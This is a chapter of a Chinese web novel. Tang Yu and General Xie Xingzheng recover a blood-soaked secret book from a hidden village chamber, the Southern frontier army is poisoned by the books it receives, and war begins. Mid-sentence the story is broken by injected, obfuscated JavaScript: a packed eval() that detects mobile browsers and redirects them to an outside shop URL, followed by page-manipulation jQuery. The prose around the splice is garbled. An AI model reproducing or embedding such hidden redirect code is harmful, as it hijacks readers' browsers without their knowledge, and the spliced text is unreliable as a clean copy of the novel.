贡台与槐木被移开后，老人俯身按下机关。


    谁也没有想到，伴随着一声沉闷的机括声，地砖缓缓移开，露出一段向下延伸的台阶。


    幽深狭窄，直通地下。


    小小的村落，却藏着不少秘密。


    石阶之下，一片漆黑，寒气自地底涌上来，带着令人不安的阴冷，仿佛直通往冥府深处。而供台上的观音像，便似为镇压其中冤魂而存在般。


    “传闻这暗室，是百年前由村人所建。”


    老人提着烛火为众人照明，低声解释，“那时大夏动荡，战火连年，为了避祸藏身，才修起这处庇护之所。”


    烛光微弱，却足以照亮暗室全貌。


    唐雨站在阶口，却足以看清其中景象。


    在这空旷地室，满满当当摆着书册与箱匣宝物。其中不仅有南疆的，亦有无数大夏的秘宝。


    显然，这并非一朝一夕所能积累。


    想来，夏南王这些年，借权势之便，不断攫取、囤积，将这处暗室，当作自己野心的根基，增加成功的筹码。


    谢行征吩咐几人下到暗室，分散去找那最关键的半本秘册。


    唐雨则收回目光，走到老人身侧，低声问：“我仍一事不解。”


    “何事？”


    “观音衣摆处的血渍，”唐雨抬眸，“是如何染上的？”


    老人沉默了许久。


    最终，他将油灯放在贡台旁，走至佛像面前。先是恭敬地拜了拜，随后不知按动何处，伴随佛龛底部的“咔嗒”，竟弹出一个暗格。


    老人颤抖着手，从中取出一个用油纸层层包裹的册子。


    油纸揭开的瞬间，浓重的血腥气扑面而来。


    唐雨接过，只一翻，便发现这整本纸页皆被血液浸透，沾得她满手黏腻。


    虽然，她不识其上的南疆文字，可却隐隐能肯定，这正是那本记录着“月绮梦”制法的秘册。


    她重新将册子包好，抬头问：“为何书上满是未干血渍？”


    “这书……很怪。”老人低声叹道，“最初拿回来时，上面是无字的。直到有一年，夏南王遣人来取。”


    他顿了顿，声音更低：“可他却私下吩咐，要我在那人取书时，将其杀死，并务必让血渗进书页。”


    “后来，”老人苦笑，“那字迹，就慢慢显现出来了。”


    唐雨心中了然。


    看来夏南王便是那时，与南月建立的合作，从而得知让字迹显现之法。


    可惜他贪欲过重，戒备太深，并未将这半册告知南月。


    若非如此，南月也不至于始终盯着，她这个当年的“半成品”，从而发生之后种种。


    既然已找到重要之物，当务之急，是在交出前，寻出破局之法。


    毕竟虽靠此事拖延，可南疆也仍不断在积聚兵力，不论如何都会有一场恶战。


    等几人踏出祠堂时，晨光微熹。


    竟有薄而细的雪片悄然落下。


    触地即化，唯有零星几片停留在枯草之上，才勉强留下痕迹。


    唐雨站在祠堂门前，目光越过残破的门框，望向雪雾笼罩下的鬼哭村。


    村落安静而祥和。


    将士们在其间进出忙碌，搬运着那些被掩藏多年的秘密。


    若非战乱，它本该只是无数偏僻村庄中的一个。纵使有些诡异传闻，也总是被人轻轻带过。


    无人会想到，这样一处地方，背后藏如此多阴谋，甚至浸满数不清无辜之人的鲜血。


    好在，这一切终如观音衣摆上那洗不净的血色，留有痕迹，被人发现揭露。


    唐雨忽然想：此战之后，不论胜败，或许还会有下一个“鬼哭村”。


    只是那时，又是否还有人能探明，那表面平静下的真相？


    而那个村落，又会被命运推向何方？


    唐雨目光不自觉地落向不远处。


    谢行征正立在飘雪中，指挥将士收尾。曦光落在他肩甲之上，却只映出冷冷的光泽。


    她忽然生出一丝好奇。


    像他这般细腻，却常年于战场上厮杀之人的眼中。


    所谓的“胜利”，究竟是何种模样？


    是城破敌退的一瞬快意，还是战后满目疮痍的悲哀。


    *


    城墙之上，初雪已不再温柔。


    愈下愈大，自灰白的天幕中倾泻而下，鹅毛般翻飞，将城内外的一切都挂上模糊的白色轮廓，天地仿佛被洗得干净而纯粹。


    可所有人都清楚，战争要来了。


    夏南城中，即使有人精通南疆文字，可夏南王所藏书册数量太多、内容太杂，一日光景，也根本不可能尽数厘清。


    而这些被交出去的秘术，究竟会否在未来的某一日，化作南疆的利刃，成为反噬自身的毒，无人可知。


    唐雨与谢行征再次并肩立于城墙之上，风雪如刀，皮肤都觉得微微有些刺痛。


    “你会不会觉得，”唐雨语气很轻，像是在问别人，又像是在问自己，“我的提议……有些坏？”


    此话出口，她自己也微微一怔。


    并不知道自己为何要问。毕竟从头到尾，谢行征都未曾出言反对。


    谢行征抬眼看向城外雪幕深处，像是在确认南疆的动向，又或者只是习惯性地审视战局。


    “兵者，诡道也。并无好坏之分。”他也说得平静。


    唐雨侧头看他，淡淡道：“我还以为，像你这样的人，不屑于用这些阴谋算计。你看起来，像是会选择正面迎敌的人。”


    谢行征有些失笑，不知该因唐雨对他这番评价，感到开心，还是负担。


    “赢，也分怎么赢。”


    他似是无声叹了口气，“一时意气，用无数性命去换个‘堂堂正正’，还是减少伤亡，让不论将士和百姓都少承受一些战火。”


    他顿了顿，看向唐雨。


    “对我而言，并不是一个难题。”


    风雪中，他的声音不高，却字字清晰。


    突然，他勾唇笑了笑，问：“是‘月绮梦’认为的？还是唐雨这么想我的？”


    唐雨有些恍惚，没能立刻回答。


    她忽然意识到，自己如今似乎既不像月绮梦，是纯粹的理性；却又不像唐雨，能清晰感知分析人类的情感。


    自然，无法给出答案。


    谢行征没有追问，而是轻声补了一句：“况且，你把我想得太好了。”


    他转过身，抬手拂去她发梢的雪。


    十余年的征战生涯，即便心中再有善意，手上沾染的，也早已不是几条人命。


    “你觉得矛盾吗？”唐雨忽然问。


    那话又好似在问自己般。


    “明明已经习惯了杀伐，却还想让更多人活下来。”


    谢行征沉默片刻，才低声道：“正因为见得太多，才知道有些牺牲，真要能避免才好。”


    其实不论是赢是输。


    战乱过后，百姓难□□离，局势难免动荡不安。


    恐慌着活下来的人们，面对着不复当初模样的家，有时真不知该庆幸，还是失落。


    风雪越发寒厉，落在他肩头，却很快融化。


    他身上似乎很暖，唐雨不自觉伸手，握住那比她体温略高的手。


    谢行征只有一瞬怔然，便立马与她十指紧握。


    “当初，司祸说她能治。”唐雨望向风雪深处，突然开口。


    “其实，并没有骗你。”


    这一次，她没有掩饰，也没有说谎。


    两人就这么并肩立于城墙之上，不再显得孤独。


    *


    夏南城外，南疆营地。


    此刻，那些自鬼哭村运出的书册，已被尽数送入营中。


    一部分人被安排去整理、看管书册，营外安静许多，连巡逻的脚步声都比往常稀疏了几分。


    尤其是为首的将领们，几乎全聚在了一处。


    帐中灯火通明。


    一卷卷失而复得的秘册被摊开在案上，翻阅书页的声响此起彼伏。


    月息抚摸着湿黏的秘册，眼底发亮，呼吸都不由自主地急促起来。


    这是，制造圣女的完整答卷。


    他又抬眼望向铺满大帐的书册，笑容不自觉爬上嘴角。


    那些，是他们南月国破后，失落多年的无上蛊术。


    其中不乏能造出“蛊人”一类人形兵器的秘术。这不仅足以撬动战局，甚至能改变国运。


    “这些，竟全被夏南王那老狐狸藏了起来。”


    “哈哈哈，大夏人当真愚不可及！”


    有人低声狂笑，有人难掩兴奋地翻页。


    他们甚至已经开始讨论，等攻下夏南之后，该如何依此扩军、北上，甚至是让南疆吞食尽大夏城池。


    仿佛大夏，已然在他们手中，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881429|180495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    国破家亡。


    然而，就在此时，


    “噗嗤——”


    一声极不合时宜的闷响。


    安云麾下那名以勇悍闻名的猛将，忽然身形微晃，喉头一甜，一口鲜血猝不及防地喷出，溅在他手中正翻阅的书册之上。


    血色在纸页间迅速晕开。


    帐中霎时一静。


    “将军？！”


    “怎么回事！”


    周围将士慌忙上前扶人，有人高声唤军医，有人尚未反应过来，只当是其旧伤复发。


    可还未等军医赶到，帐中竟接连响起呕血之声。


    有人尚在翻书，血便已顺着唇角滑落；有人试图开口示警，却连一句完整的话都没能说出，便捂着胸口跪倒在地。


    这一次，再迟钝的人，也察觉到了不对。


    “这些书册有问题！”月息脸色骤变。


    账内之人闻言，也似彻底反应过来，纷纷开始叫嚷。


    “有毒！”


    “快丢掉！”


    “烧了！快烧掉！”


    那些原本被奉若珍宝的秘册，此刻却像索命的毒物。


    将领和士兵们手忙脚乱，将书册往地上摔、往火盆里掷，甚至有人直接踢翻案几，狼狈后退。


    生死面前，谁还顾得上南疆霸业？


    整个营帐，瞬间乱作一团。


    就在此时，月息胸口也猛地一闷，一口血硬生生涌了上来。


    他踉跄一步，强行稳住身形，将身上所有能保命的药丸一股脑吞入腹中。药力在体内翻涌，却压不下那股痛彻骨髓的毒。


    直到这一刻，他才似终于想明白什么。


    眼眶血红，面容狰狞地大喊：“他们根本不是为了换取什么交易！”


    月息咬牙切齿，“他们就是为了拖延时间！”


    “去鬼哭村找书，是为了拖住我等。把书交出来毒害我等，是为了让南疆军自乱阵脚、无人指挥！好撑到援军到来！”


    一时之间，明白过来的南疆人怒上心头，营帐内愤慨、咒骂之声不绝于耳。


    “大夏人，果然阴险至极！”


    “毫无武德！”


    “卑鄙无耻！”


    只是他们忘了，若真要追究，最依赖阴谋诡计、擅长暗中设局的，从来正是他们南疆自己。


    月息死死攥紧拳头，指节发白。


    “不能再等了。”


    他眼中闪过狠色，“必须现在出兵！”


    “就算是拼上我这条老命，也得强攻，也绝不能让他们等到援军！”


    帐外，风雪呼啸。


    南疆大军的号角声，终于在这一刻，被吹响。


    战争在风雪中，彻底被拉开序幕。


    可南疆人忘了，即使夏南想要拖延时日，也从不意味着，在常年征战的谢家军保护下，那就是容易攻破的存在。


    *


    城南方向，战鼓声骤然响起，沉重而急促。


    每声鼓点，都仿佛随着风雪，一下下砸在夏南人的心口。


    颜可丽站在屋檐下，听着远处那隐约传来的嘶吼与喊杀声，指尖不自觉攥紧，眼中满是掩不住的担忧。


    “阿良哥……”


    她声音轻得几乎被风吹散，“大夏和南疆，终究还是打起来了。”


    “是啊。”阿良也满目忧色，望着远处翻涌的烽烟，长长叹了口气。


    “你说……”颜可丽迟疑了一下，还是问出口，“夏南城能守住吗？”


    “别担心。”阿良揉了揉她褐色的头发，语气温柔沉稳，“一定会没事的。”


    话说得笃定，可他自己却没有再看她，只是盯着城南方向，和那片被火光映得忽明忽暗的天际。


    颜可丽沉默片刻，又低声问：“那你说……南疆和大夏，以后会变成什么样呢？”


    战火一旦点燃，抛开胜负，两国之人，怕也注定再难如从前般平和相处。


    而像她这样的南疆人，像阿良这样身上流着两边血脉的人。


    到那时，又该如何自处？


    阿良没有回答。


    风雪越下越大，遮住了远处的城墙，也模糊了烽烟的轮廓。


    颜可丽透过漫天雪幕，望向城南那片燃烧的夜色，喃喃低语：


    “那……唐姑娘和谢将军，以后又该如何呢？”


    她的声音很轻，却夹在在呼啸的风里，迟迟没有散去。